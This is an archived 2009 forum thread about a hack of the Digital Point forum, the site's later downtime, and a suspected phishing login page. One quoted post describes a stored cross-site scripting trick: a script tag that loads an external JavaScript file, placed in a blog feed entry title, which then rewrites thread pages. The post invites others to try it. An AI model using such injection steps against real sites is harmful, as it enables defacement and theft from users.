I hacked Digital Point forum last night and got banned

**LogicFlux** · 7 February, 2009, 03:16 AM

Someone should email or PM someone and tell them to fix it. What the OP did was really harmless but if someone has access to an account(s) with a lot of posts they could do serious damage. There's nothing to stop the whole page from being rewritten.

**Shenron** · 7 February, 2009, 09:05 AM

Originally Posted by 5starpix

probably used to hack accounts on dp, and fool people

Try to login with fake credentials and see what happens...

**5starpix** · 7 February, 2009, 10:48 AM

i did, it redirects to a thread on dp. the sites creator must be using those credentials to login

**geeknb** · 10 February, 2009, 10:12 AM

DP is still down right now

**Shenron** · 10 February, 2009, 10:14 AM

Originally Posted by geeknb

DP is still down right now

Wrong

DP is still down right now

**LogicFlux** · 10 February, 2009, 14:59 PM

Has it been down for like that past 12+ hours?

**Mia** · 10 February, 2009, 15:06 PM

Yeah, still down.

**Shenron** · 10 February, 2009, 15:14 PM

If it continues down in 24 hours...

Nah, just a wishful thinking...

**Come** · 10 February, 2009, 15:20 PM

Each time the SQL Server shutdown, users lose accounts.
In October 2008, my account were killed by a SQL Issue.

**AstroNyu** · 10 February, 2009, 15:35 PM

Originally Posted by yangyang

Well not that much of a hack just a tiny js injection trick which they still haven't fixed yet after they have banned me.

http://forums.digitalpoint.com/showthread.php?t=821495

Check it out, see how the upper left DP logo has been changed to my mischief image with a link back to my own site.

In case you wanna try it out, just write a blog entry of the feed you have set in the vBulletin Options panel with <script type="text/javascript" src="http://www.yoursite.com/test.js"></script> in the title.

Then write in test.js the code that's going to change the DOM of whatever thread page you have posts in.

I'm sure it's going to be fixed very soon as they might have informed vBulletin team of the bug.

This is not related to vb's own security isn't it? They use third party plugin for that recent blog function. So, basically they should update the plugin.